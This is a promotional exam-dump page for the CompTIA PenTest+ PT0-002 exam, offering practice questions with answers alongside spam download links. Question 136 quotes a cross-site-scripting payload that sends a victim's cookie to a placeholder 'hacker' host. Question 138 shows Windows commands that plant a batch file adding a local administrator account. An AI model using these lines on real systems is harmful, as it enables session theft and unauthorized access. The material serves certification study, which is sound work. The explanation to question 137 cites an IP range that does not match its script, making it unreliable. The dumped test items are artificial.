

Pass Guaranteed Quiz 2025 PT0-002: Efficient Popular CompTIA PenTest+ Certification Exams



BONUS!!! Download part of Test4Engine PT0-002 dumps for free: <https://drive.google.com/open?id=1m0tlbvq7BNF1AwXJTQ-xCmQGbUsjqz>

By analyzing the syllabus and new trend, our PT0-002 practice engine is totally in line with this exam for your reference. So grapple with this chance, our PT0-002 learning materials will not let you down. With our PT0-002 Study Guide, not only that you can pass you exam easily and smoothly, but also you can have a wonderful study experience based on the diversified versions of our PT0-002 training prep.

CompTIA PenTest+ Exam Certification Details:

Number of Questions	85
Duration	165 mins
Schedule Exam	CompTIA Marketplace Pearson VUE
Passing Score	750 / 900
Sample Questions	CompTIA PenTest+ Sample Questions
Exam Price	\$381 (USD)

>> Popular PT0-002 Exams <<

Pass Guaranteed Quiz 2025 Updated PT0-002: Popular CompTIA PenTest+ Certification Exams

How to get a good job? If you are a freshman, a good educational background and some useful qualifications certification will make you outstanding. If you are dreaming for obtaining a IT certificate, our PT0-002 test dumps pdf will help you clear exam easily. If you are a working man, a valid certification will make you obtain an advantage over others while facing job promotion competition. Our PT0-002 Test Dumps Pdf can help you clear exam and obtain exam at the first attempt.

CompTIA PenTest+ Certification Sample Questions (Q134-Q139):

NEW QUESTION # 134

Which of the following documents describes activities that are prohibited during a scheduled penetration test?

- A. SLA
- B. NDA
- C. ROE
- D. MSA

Answer: C

Explanation:

Explanation

The document that describes activities that are prohibited during a scheduled penetration test is ROE, which stands for rules of engagement. ROE is a document that defines the scope, objectives, methods, limitations, and expectations of a penetration test. ROE can specify what activities are allowed or prohibited during the penetration test, such as which targets, systems, networks, or services can be tested or attacked, which tools, techniques, or exploits can be used or avoided, which times or dates can be scheduled or excluded, or which impacts or risks can be accepted or mitigated. ROE can help ensure that the penetration test is conducted in a legal, ethical, and professional manner, and that it does not cause any harm or damage to the client or third parties. The other options are not documents that describe activities that are prohibited during a scheduled penetration test. MSA stands for master service agreement, which is a document that defines the general terms and conditions of a contractual relationship between two parties, such as the scope of work, payment terms, warranties, liabilities, or dispute resolution. NDA stands for non-disclosure agreement, which is a document that defines the confidential information that is shared between two parties during a business relationship, such as trade secrets, intellectual property, or customer data. SLA stands for service level agreement, which is a document that defines the quality and performance standards of a service provided by one party to another party, such as availability, reliability, responsiveness, or security.

NEW QUESTION # 135

An assessor wants to run an Nmap scan as quietly as possible. Which of the following commands will give the LEAST chance of detection?

- A. `nmap -T3 192.168.0.1`
- B. `nmap -A 192.168.0.1`
- C. `nmap -P0 192.168.0.1`
- **D. `nmap -T0 192.168.0.1`**

Answer: D

NEW QUESTION # 136

Given the following code:

```
<SCRIPT>var+img=new+Image();img.src="http://hacker/%20+%20document.cookie;</SCRIPT>
```

Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)

- A. Base64 encoding
- B. Web-application firewall
- **C. Output encoding**
- D. Session tokens
- **E. Input validation**
- F. Parameterized queries

Answer: C,E

Explanation:

Encoding (commonly called "Output Encoding") involves translating special characters into some different but equivalent form that is no longer dangerous in the target interpreter, for example translating the < character into the < string when writing to an HTML page.

Output encoding and input validation are two of the best methods to prevent against this type of attack, which is known as cross-site scripting (XSS). Output encoding is a technique that converts user-supplied input into a safe format that prevents malicious scripts from being executed by browsers or applications. Input validation is a technique that checks user-supplied input against a set of rules or filters that reject any invalid or malicious data. Web-application firewall is a device or software that monitors and blocks web traffic based on predefined rules or signatures, but it may not catch all XSS attacks. Parameterized queries are a technique that separates user input from SQL statements to prevent SQL injection attacks, but they do not prevent XSS attacks. Session tokens are values that are used to maintain state and identify users across web requests, but they do not prevent XSS attacks. Base64 encoding is a technique that converts binary data into ASCII characters for transmission or storage purposes, but it does not prevent XSS attacks.

NEW QUESTION # 137

A penetration tester writes the following script:

```
#!/bin/bash
for x in `seq 1 254`; do
    ping -c 1 10.10.1.$x;
done
```

Which of the following objectives is the tester attempting to achieve?

- A. Determine active hosts on the network.
- B. Fill the ARP table of the networked devices.
- C. Scan the system on the most used ports.
- D. Set the TTL of ping packets for stealth.

Answer: A

Explanation:

The tester is attempting to determine active hosts on the network by writing a script that pings a range of IP addresses. Ping is a network utility that sends ICMP echo request packets to a host and waits for ICMP echo reply packets. Ping can be used to test whether a host is reachable or not by measuring its response time. The script uses a for loop to iterate over a range of IP addresses from 192.168.1.1 to 192.168.1.254 and pings each one using the ping command with -c 1 option, which specifies one packet per address.

NEW QUESTION # 138

A penetration tester ran the following commands on a Windows server:

```
schtasks
echo net user svaccount password /add >> batchjopb3.bat
echo net localgroup Administrators svaccount /add >> batchjopb3.bat
net user svaccount
runas /user:svaccount cmd
```

Which of the following should the tester do AFTER delivering the final report?

- A. Close the reverse shell connection.
- B. Remove the tester-created credentials.
- C. Downgrade the svaccount permissions.
- D. Delete the scheduled batch job.

Answer: B

NEW QUESTION # 139

.....

We also offer a full refund guarantee, which means Test4Engine is obliged to return 100% of your money in case of failure after using our CompTIA PenTest+ Certification (PT0-002) dumps (terms and conditions apply). Buy CompTIA PT0-002 updated exam questions today and start your journey towards success in the CompTIA PenTest+ Certification (PT0-002) test. Our dedicated customer support team is available 24/7 to help you ease your confusion.

Practice PT0-002 Questions: https://www.test4engine.com/PT0-002_exam-latest-braindumps.html

- PT0-002 Exam Objectives ☐ Top PT0-002 Exam Dumps ☐ PT0-002 Pdf Torrent ☐ Search for **【 PT0-002 】** and download exam materials for free through ☐ www.vceengine.com ☐ ☐ New PT0-002 Dumps
- 100% Pass Quiz PT0-002 - CompTIA PenTest+ Certification Fantastic Popular Exams ☐ Download { PT0-002 } for free by simply searching on ☐ www.pdfvce.com ☐ ☐ PT0-002 Pdf Torrent
- PT0-002 Pdf Torrent ☐ PT0-002 Exam Objectives ☐ PT0-002 Pdf Torrent ☐ Easily obtain free download of ☐ PT0-002 ☐ by searching on ☐ www.pdfdumps.com ☐ ☐ Upgrade PT0-002 Dumps
- PT0-002 Exam Question ☐ PT0-002 Valid Test Simulator ☐ PT0-002 Pdf Files ☐ Search for ☐ PT0-002 ☐ and download exam materials for free through ☐ www.pdfvce.com ☐ ☐ PT0-002 Exam Flashcards
- Prepare well and Pass the CompTIA PT0-002 Exam on the first attempt ☐ The page for free download of ☐ PT0-002 ☐ on ☐ www.itcerttest.com ☐ will open immediately ☐ Latest PT0-002 Exam prep

- P.S. Free & New PT0-002 dumps are available on Google Drive shared by Test4Engine: <https://drive.google.com/open?id=1m0tlbvq7BNF1AwXJTQ-xCmQGbuSjcqz>

P.S. Free & New PT0-002 dumps are available on Google Drive shared by Test4Engine: <https://drive.google.com/open?id=1m0tlbvq7BNF1AwXJTQ-xCmQGbuSjcqz>